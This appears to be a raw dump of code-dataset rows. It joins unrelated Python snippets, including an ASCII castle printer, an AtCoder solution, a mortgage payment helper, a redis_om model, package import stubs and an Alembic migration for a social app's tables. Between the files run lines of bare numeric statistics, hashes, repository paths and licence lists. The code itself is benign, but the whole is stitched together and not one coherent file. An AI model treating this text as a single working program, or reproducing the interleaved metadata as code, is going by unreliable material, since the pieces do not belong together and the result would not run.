import color as cl mat = [ [ ' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','/','\\',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ' ], [ ' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ','/',' ',' ','\\',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ',' ' ], [ ' ',' ',' ',' ',' ',' ','/','\\',' ',' ',' ',' ','/',' ',' ',' ',' ','\\',' ',' ',' ',' ','/','\\',' ',' ',' ',' ',' ',' ' ], [ ' ',' ',' ',' ',' ','/',' ',' ','\\',' ',' ','/',' ',' ',' ',' ',' ',' ','\\',' ',' ','/',' ',' ','\\',' ',' ',' ',' ',' ' ], [ ' ','/','\\',' ','D','D','H','H','D','D','D','D','D','D','D','D','D','D','D','D','D','D','H','H','D','D',' ','/','\\',' ' ], [ '/',' ',' ','\\','D','D',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ','D','D','/',' ',' ','\\' ], [ 'D','H','H','D','D','D',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ','D','D','D','H','H','D' ], [ 'D',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ','D' ], [ 'D',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ','D' ], [ 'D','D','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D','D','D' ], [ 'D','D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D','D' ], [ 'D','D','D','D','H','H','H','D','D','D','D','D',' ',' ',' ',' ',' ',' ','D','D','D','D','D','H','H','H','D','D','D','D' ], [ 'D','D','D','D','H','H','H','D','D','D','D','D',' ',' ',' ',' ',' ',' ','D','D','D','D','D','H','H','H','D','D','D','D' ], [ 'D','D','D','D','H','H','H','D','D','D','D','D',' ',' ',' ',' ',' ',' ','D','D','D','D','D','H','H','H','D','D','D','D' ], [ 'D','D','D','D','D','D','D','D','D','D','D','D',' ',' ',' ',' ',' ',' ','D','D','D','D','D','D','D','D','D','D','D','D' ] ] def print_castle(): for i in range (0,15): print(' ',end='') for j in range(0,30): if mat[i][j] == '/' or mat[i][j] == "\\": st=cl.cyan elif mat[i][j] == 'H': st=cl.magenta elif mat[i][j] == 'D': st=cl.red else: st=cl.reset print ( st +mat[i][j],end='') print(cl.reset) if __name__=="__main__": print_castle()
42.454545
128
0.196574
327
2,335
1.373089
0.091743
0.993318
1.416481
1.799555
0.579065
0.579065
0.579065
0.579065
0.579065
0.579065
0
0.003055
0.158887
2,335
54
129
43.240741
0.22556
0
0
0.147059
0
0
0.223555
0
0
0
0
0
0
1
0.029412
false
0
0.029412
0
0.058824
0.147059
0
0
1
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
8ada1356b82b28cd581e2be1691fff8b589bfeb2
153
py
Python
mit-ml/q.py
stepinski/machinelearning
1f84883a25616da4cd76bb4655267efd3421e561
[ "MIT" ]
null
null
null
mit-ml/q.py
stepinski/machinelearning
1f84883a25616da4cd76bb4655267efd3421e561
[ "MIT" ]
null
null
null
mit-ml/q.py
stepinski/machinelearning
1f84883a25616da4cd76bb4655267efd3421e561
[ "MIT" ]
null
null
null
S = [1, 2, 3] for s in S: print(0.7 * 2**(1/3) + 0.3 * (s + 4)**(-1/2)) # states 4, 5, 3; action C S = [4, 5] for s in S: print((s + 4)**(-1/2))
19.125
49
0.405229
38
153
1.631579
0.368421
0.096774
0.193548
0.225806
0.387097
0
0
0
0
0
0
0.192661
0.287582
153
8
50
19.125
0.376147
0.156863
0
0.333333
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0.333333
0
0
1
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
8aff7c911630c8b07d0454aa5d2ced9b3af7fc78
49
py
Python
abc/008/A.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
2
2022-01-22T07:56:58.000Z
2022-01-24T00:29:37.000Z
abc/008/A.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
abc/008/A.py
tonko2/AtCoder
5d617072517881d226d7c8af09cb88684d41af7e
[ "Xnet", "X11", "CECILL-B" ]
null
null
null
S, T = map(int, input().split()) print(T - S + 1)
24.5
32
0.530612
10
49
2.6
0.8
0
0
0
0
0
0
0
0
0
0
0.025
0.183673
49
2
33
24.5
0.625
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0
0
0
0.5
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
8affdc964e35a5e8dcefb27115d4d1d491076355
154
py
Python
napari/_vispy/volume.py
sandutsar/napari
37d476bc0b00252177f17f25e7d1fd52ddc4bb69
[ "BSD-3-Clause" ]
2
2020-06-18T20:15:41.000Z
2021-08-11T02:10:58.000Z
napari/_vispy/volume.py
sandutsar/napari
37d476bc0b00252177f17f25e7d1fd52ddc4bb69
[ "BSD-3-Clause" ]
7
2020-04-11T03:37:54.000Z
2021-01-31T22:41:35.000Z
napari/_vispy/volume.py
DragaDoncila/napari
044beba342ef392f4cbed2e8e3a27f27d4799ccb
[ "BSD-3-Clause" ]
3
2020-08-29T21:07:38.000Z
2022-01-10T15:36:16.000Z
from vispy.scene.visuals import create_visual_node from .vendored import VolumeVisual as BaseVolumeVisual Volume = create_visual_node(BaseVolumeVisual)
25.666667
54
0.863636
19
154
6.789474
0.684211
0.186047
0.248062
0
0
0
0
0
0
0
0
0
0.097403
154
5
55
30.8
0.928058
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.666667
0
0.666667
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
5
c12a88348f5557e47fd491fadd5327ea360b626f
163
py
Python
src/msim/mortgages/utils.py
Asday/msim
bdd4a61c394ac4987268b7436af063fb19955697
[ "MIT" ]
null
null
null
src/msim/mortgages/utils.py
Asday/msim
bdd4a61c394ac4987268b7436af063fb19955697
[ "MIT" ]
6
2020-06-05T23:38:07.000Z
2022-03-08T02:44:01.000Z
src/msim/mortgages/utils.py
Asday/msim
bdd4a61c394ac4987268b7436af063fb19955697
[ "MIT" ]
null
null
null
def payment(interest_rate, period_count, principal): j = (interest_rate + 1) ** period_count return round(principal * ((interest_rate * j) / (j - 1)), 2)
32.6
64
0.662577
22
163
4.681818
0.545455
0.349515
0
0
0
0
0
0
0
0
0
0.022727
0.190184
163
4
65
40.75
0.757576
0
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0
0
0.666667
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
c16c6ceb3a49eaa02f80e5a3f90f72623d9478ee
173
py
Python
simpletransformers/language_generation/__init__.py
manueltonneau/simpletransformers
7374b786857008e023604789e89c1690ad8bde97
[ "Apache-2.0" ]
488
2020-06-08T10:08:39.000Z
2022-03-31T08:50:02.000Z
simpletransformers/language_generation/__init__.py
manueltonneau/simpletransformers
7374b786857008e023604789e89c1690ad8bde97
[ "Apache-2.0" ]
37
2019-01-15T14:45:26.000Z
2020-05-24T04:03:09.000Z
simpletransformers/language_generation/__init__.py
manueltonneau/simpletransformers
7374b786857008e023604789e89c1690ad8bde97
[ "Apache-2.0" ]
154
2020-06-07T02:49:11.000Z
2022-03-23T14:01:22.000Z
from simpletransformers.config.model_args import LanguageGenerationArgs from simpletransformers.language_generation.language_generation_model import LanguageGenerationModel
57.666667
100
0.930636
16
173
9.8125
0.625
0.280255
0
0
0
0
0
0
0
0
0
0
0.046243
173
2
101
86.5
0.951515
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
c1fa2fb177fb3f1fff55a39c0ad20e1b5087fdfb
424
py
Python
adoptable.py
redis-developer/redis-om-python-search-demo
e3106c7991c223cb5edcdc91396d079d1ff99a1a
[ "MIT" ]
2
2022-01-29T21:05:13.000Z
2022-03-22T20:04:44.000Z
adoptable.py
simonprickett/redis-om-python-search-demo
e3106c7991c223cb5edcdc91396d079d1ff99a1a
[ "MIT" ]
1
2021-12-19T16:05:10.000Z
2021-12-19T16:24:54.000Z
adoptable.py
redis-developer/redis-om-python-search-demo
e3106c7991c223cb5edcdc91396d079d1ff99a1a
[ "MIT" ]
2
2021-12-14T10:32:37.000Z
2021-12-15T21:53:49.000Z
from redis_om import (Field, HashModel) class Adoptable(HashModel): name: str = Field(index=True) species: str = Field(index=True) age: int = Field(index=True) weight: float = Field(index=True) sex: str = Field(index=True) fee: float = Field(index=True) children: str = Field(index=True) other_animals: str = Field(index=True) description: str = Field(index=True, full_text_search=True)
32.615385
63
0.683962
59
424
4.847458
0.440678
0.314685
0.440559
0.356643
0
0
0
0
0
0
0
0
0.191038
424
12
64
35.333333
0.833819
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.090909
0
1
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
1
0
0
5
c1fc253804e6939997cb383aa1fda7950c26e0a0
38
py
Python
home.py
Danillo-py/System_python
7d77fd74710c7dfb15a923e7a36770721e02e6eb
[ "Apache-2.0" ]
null
null
null
home.py
Danillo-py/System_python
7d77fd74710c7dfb15a923e7a36770721e02e6eb
[ "Apache-2.0" ]
null
null
null
home.py
Danillo-py/System_python
7d77fd74710c7dfb15a923e7a36770721e02e6eb
[ "Apache-2.0" ]
null
null
null
from pacote import style style.menu()
12.666667
24
0.789474
6
38
5
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.131579
38
3
25
12.666667
0.909091
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
a9ed54e1c51c2c50b0db968559401c0ffb57c397
33
py
Python
graf/data/__init__.py
yngtodd/graf
dd189fe1180b236a81583c90960c60181e5f0dcc
[ "MIT" ]
null
null
null
graf/data/__init__.py
yngtodd/graf
dd189fe1180b236a81583c90960c60181e5f0dcc
[ "MIT" ]
1
2020-11-10T03:21:06.000Z
2020-11-10T04:05:19.000Z
graf/data/__init__.py
yngtodd/graf
dd189fe1180b236a81583c90960c60181e5f0dcc
[ "MIT" ]
null
null
null
from .docs import DocumentGraphs
16.5
32
0.848485
4
33
7
1
0
0
0
0
0
0
0
0
0
0
0
0.121212
33
1
33
33
0.965517
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
e703627565995d1fccbfd816c44ceb3cf5f73b28
17,771
py
Python
migrations/versions/b8fedfd9634a_first_version.py
ORANZINO/bouquet_server
2ce1bb59df15297878c555dd97e0f27b5202ed02
[ "MIT" ]
7
2022-01-20T11:50:39.000Z
2022-01-27T09:39:27.000Z
migrations/versions/b8fedfd9634a_first_version.py
ORANZINO/bouquet_server
2ce1bb59df15297878c555dd97e0f27b5202ed02
[ "MIT" ]
null
null
null
migrations/versions/b8fedfd9634a_first_version.py
ORANZINO/bouquet_server
2ce1bb59df15297878c555dd97e0f27b5202ed02
[ "MIT" ]
1
2022-01-20T11:51:50.000Z
2022-01-20T11:51:50.000Z
"""first version Revision ID: b8fedfd9634a Revises: Create Date: 2021-10-23 19:04:21.196250 """ from alembic import op import sqlalchemy as sa # revision identifiers, used by Alembic. revision = 'b8fedfd9634a' down_revision = None branch_labels = None depends_on = None def upgrade(): # ### commands auto generated by Alembic - please adjust! ### op.create_table('questions', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('question', sa.String(length=255), nullable=False), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_questions_id'), 'questions', ['id'], unique=False) op.create_table('users', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('status', sa.Enum('active', 'deleted', 'blocked'), nullable=True), sa.Column('email', sa.String(length=255), nullable=False), sa.Column('pw', sa.String(length=255), nullable=False), sa.Column('name', sa.String(length=255), nullable=False), sa.Column('profile_img', sa.String(length=255), nullable=True), sa.Column('sns_type', sa.Enum('Email', 'Google', 'Apple'), nullable=False), sa.Column('marketing_agree', sa.Boolean(), nullable=True), sa.Column('default_character_id', sa.Integer(), nullable=True), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('name') ) op.create_index(op.f('ix_users_id'), 'users', ['id'], unique=False) op.create_table('characters', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('name', sa.String(length=255), nullable=False), sa.Column('profile_img', sa.String(length=255), nullable=True), sa.Column('birth', sa.String(length=8), nullable=False), sa.Column('job', sa.String(length=45), nullable=False), sa.Column('nationality', sa.String(length=45), nullable=False), sa.Column('intro', sa.String(length=100), nullable=False), sa.Column('tmi', sa.String(length=400), nullable=True), sa.Column('num_followers', sa.Integer(), nullable=False), sa.Column('num_follows', sa.Integer(), nullable=False), sa.Column('user_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['user_id'], ['users.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id'), sa.UniqueConstraint('name') ) op.create_index(op.f('ix_characters_id'), 'characters', ['id'], unique=False) op.create_table('push_tokens', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('user_id', sa.Integer(), nullable=False), sa.Column('token', sa.String(length=255), nullable=False), sa.ForeignKeyConstraint(['user_id'], ['users.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_push_tokens_id'), 'push_tokens', ['id'], unique=False) op.create_table('user_blocks', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('user_id', sa.Integer(), nullable=False), sa.Column('blocked_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['blocked_id'], ['users.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['user_id'], ['users.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_user_blocks_id'), 'user_blocks', ['id'], unique=False) op.create_table('character_blocks', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('blocked_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['blocked_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_character_blocks_id'), 'character_blocks', ['id'], unique=False) op.create_table('character_hates', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('hate', sa.String(length=20), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_character_hates_id'), 'character_hates', ['id'], unique=False) op.create_table('character_likes', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('like', sa.String(length=20), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_character_likes_id'), 'character_likes', ['id'], unique=False) op.create_table('follows', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('follower_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['follower_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_follows_id'), 'follows', ['id'], unique=False) op.create_table('notifications', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('sender_id', sa.Integer(), nullable=False), sa.Column('receiver_id', sa.Integer(), nullable=False), sa.Column('category', sa.Enum('LikePost', 'LikeComment', 'Follow', 'Comment'), nullable=False), sa.Column('post_id', sa.Integer(), nullable=True), sa.ForeignKeyConstraint(['receiver_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['sender_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_notifications_id'), 'notifications', ['id'], unique=False) op.create_table('posts', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('template', sa.Enum('None', 'Image', 'Diary', 'List', 'Album'), nullable=True), sa.Column('text', sa.Text(), nullable=True), sa.Column('num_sunshines', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_posts_id'), 'posts', ['id'], unique=False) op.create_table('qnas', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('respondent_id', sa.Integer(), nullable=False), sa.Column('question', sa.String(length=255), nullable=False), sa.Column('answer', sa.String(length=255), nullable=True), sa.Column('num_sunshines', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['respondent_id'], ['characters.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_qnas_id'), 'qnas', ['id'], unique=False) op.create_table('albums', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('title', sa.String(length=255), nullable=False), sa.Column('img', sa.String(length=255), nullable=True), sa.Column('artist', sa.String(length=255), nullable=False), sa.Column('description', sa.Text(), nullable=True), sa.Column('release_date', sa.String(length=8), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_albums_id'), 'albums', ['id'], unique=False) op.create_table('comments', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('comment', sa.String(length=255), nullable=False), sa.Column('parent', sa.Integer(), nullable=False), sa.Column('deleted', sa.Boolean(), nullable=False), sa.Column('num_sunshines', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_comments_id'), 'comments', ['id'], unique=False) op.create_table('diaries', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('title', sa.String(length=255), nullable=False), sa.Column('weather', sa.String(length=32), nullable=True), sa.Column('img', sa.String(length=255), nullable=True), sa.Column('date', sa.String(length=8), nullable=False), sa.Column('content', sa.Text(), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_diaries_id'), 'diaries', ['id'], unique=False) op.create_table('images', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('img', sa.String(length=255), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_images_id'), 'images', ['id'], unique=False) op.create_table('lists', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('title', sa.String(length=255), nullable=False), sa.Column('content', sa.String(length=255), nullable=True), sa.Column('img', sa.String(length=255), nullable=True), sa.Column('post_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_lists_id'), 'lists', ['id'], unique=False) op.create_table('post_sunshines', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_post_sunshines_id'), 'post_sunshines', ['id'], unique=False) op.create_table('qna_sunshines', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('qna_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['qna_id'], ['qnas.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_qna_sunshines_id'), 'qna_sunshines', ['id'], unique=False) op.create_table('comment_sunshines', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('post_id', sa.Integer(), nullable=False), sa.Column('character_id', sa.Integer(), nullable=False), sa.Column('comment_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['character_id'], ['characters.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['comment_id'], ['comments.id'], ondelete='cascade'), sa.ForeignKeyConstraint(['post_id'], ['posts.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_comment_sunshines_id'), 'comment_sunshines', ['id'], unique=False) op.create_table('list_components', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('title', sa.String(length=255), nullable=False), sa.Column('img', sa.String(length=255), nullable=True), sa.Column('content', sa.String(length=255), nullable=True), sa.Column('list_id', sa.Integer(), nullable=False), sa.ForeignKeyConstraint(['list_id'], ['lists.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_list_components_id'), 'list_components', ['id'], unique=False) op.create_table('tracks', sa.Column('id', sa.Integer(), autoincrement=True, nullable=False), sa.Column('created_at', sa.DateTime(), nullable=False), sa.Column('updated_at', sa.DateTime(), nullable=False), sa.Column('album_id', sa.Integer(), nullable=False), sa.Column('title', sa.String(length=255), nullable=False), sa.Column('lyric', sa.Text(), nullable=True), sa.ForeignKeyConstraint(['album_id'], ['albums.id'], ondelete='cascade'), sa.PrimaryKeyConstraint('id') ) op.create_index(op.f('ix_tracks_id'), 'tracks', ['id'], unique=False) # ### end Alembic commands ### def downgrade(): # ### commands auto generated by Alembic - please adjust! ### op.drop_index(op.f('ix_tracks_id'), table_name='tracks') op.drop_table('tracks') op.drop_index(op.f('ix_list_components_id'), table_name='list_components') op.drop_table('list_components') op.drop_index(op.f('ix_comment_sunshines_id'), table_name='comment_sunshines') op.drop_table('comment_sunshines') op.drop_index(op.f('ix_qna_sunshines_id'), table_name='qna_sunshines') op.drop_table('qna_sunshines') op.drop_index(op.f('ix_post_sunshines_id'), table_name='post_sunshines') op.drop_table('post_sunshines') op.drop_index(op.f('ix_lists_id'), table_name='lists') op.drop_table('lists') op.drop_index(op.f('ix_images_id'), table_name='images') op.drop_table('images') op.drop_index(op.f('ix_diaries_id'), table_name='diaries') op.drop_table('diaries') op.drop_index(op.f('ix_comments_id'), table_name='comments') op.drop_table('comments') op.drop_index(op.f('ix_albums_id'), table_name='albums') op.drop_table('albums') op.drop_index(op.f('ix_qnas_id'), table_name='qnas') op.drop_table('qnas') op.drop_index(op.f('ix_posts_id'), table_name='posts') op.drop_table('posts') op.drop_index(op.f('ix_notifications_id'), table_name='notifications') op.drop_table('notifications') op.drop_index(op.f('ix_follows_id'), table_name='follows') op.drop_table('follows') op.drop_index(op.f('ix_character_likes_id'), table_name='character_likes') op.drop_table('character_likes') op.drop_index(op.f('ix_character_hates_id'), table_name='character_hates') op.drop_table('character_hates') op.drop_index(op.f('ix_character_blocks_id'), table_name='character_blocks') op.drop_table('character_blocks') op.drop_index(op.f('ix_user_blocks_id'), table_name='user_blocks') op.drop_table('user_blocks') op.drop_index(op.f('ix_push_tokens_id'), table_name='push_tokens') op.drop_table('push_tokens') op.drop_index(op.f('ix_characters_id'), table_name='characters') op.drop_table('characters') op.drop_index(op.f('ix_users_id'), table_name='users') op.drop_table('users') op.drop_index(op.f('ix_questions_id'), table_name='questions') op.drop_table('questions') # ### end Alembic commands ###
52.732938
99
0.684148
2,345
17,771
5.026866
0.062687
0.099762
0.162878
0.194181
0.826264
0.820495
0.736766
0.668985
0.632168
0.620037
0
0.007733
0.119464
17,771
336
100
52.889881
0.74559
0.015925
0
0.471698
0
0
0.210475
0.012378
0
0
0
0
0
1
0.006289
false
0
0.006289
0
0.012579
0
0
0
0
null
0
0
1
1
1
1
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
e7b6d927394a3ec205c65444904c521b6a3762db
469
py
Python
qmla/exploration_strategies/__init__.py
Evan1415/QMLA
4521f7c08456a4494aed7c1b78d8ded5ea40f3d8
[ "MIT" ]
null
null
null
qmla/exploration_strategies/__init__.py
Evan1415/QMLA
4521f7c08456a4494aed7c1b78d8ded5ea40f3d8
[ "MIT" ]
null
null
null
qmla/exploration_strategies/__init__.py
Evan1415/QMLA
4521f7c08456a4494aed7c1b78d8ded5ea40f3d8
[ "MIT" ]
null
null
null
from qmla.exploration_strategies.exploration_strategy import * from qmla.exploration_strategies.template import * from qmla.exploration_strategies.nv_centre_spin_characterisation import * from qmla.exploration_strategies.lattice_sets import * from qmla.exploration_strategies.genetic_algorithms import * from qmla.exploration_strategies.open_systems import * from qmla.exploration_strategies.demos import * from qmla.exploration_strategies.thesis_demos import *
52.111111
74
0.865672
56
469
6.964286
0.339286
0.164103
0.389744
0.594872
0.628205
0
0
0
0
0
0
0
0.083156
469
9
75
52.111111
0.906977
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
e7beabe375711787cd4e7865022bc541d8e00913
95
py
Python
notebooks/funnel/__init__.py
matt-long/aerobic-safety-margins
2f58775d8e67ea105a217ce89d09e239d208e001
[ "MIT" ]
null
null
null
notebooks/funnel/__init__.py
matt-long/aerobic-safety-margins
2f58775d8e67ea105a217ce89d09e239d208e001
[ "MIT" ]
null
null
null
notebooks/funnel/__init__.py
matt-long/aerobic-safety-margins
2f58775d8e67ea105a217ce89d09e239d208e001
[ "MIT" ]
null
null
null
from .core import Collection, register_derived_var, register_query_dependent_op, to_intake_esm
47.5
94
0.884211
14
95
5.5
0.928571
0
0
0
0
0
0
0
0
0
0
0
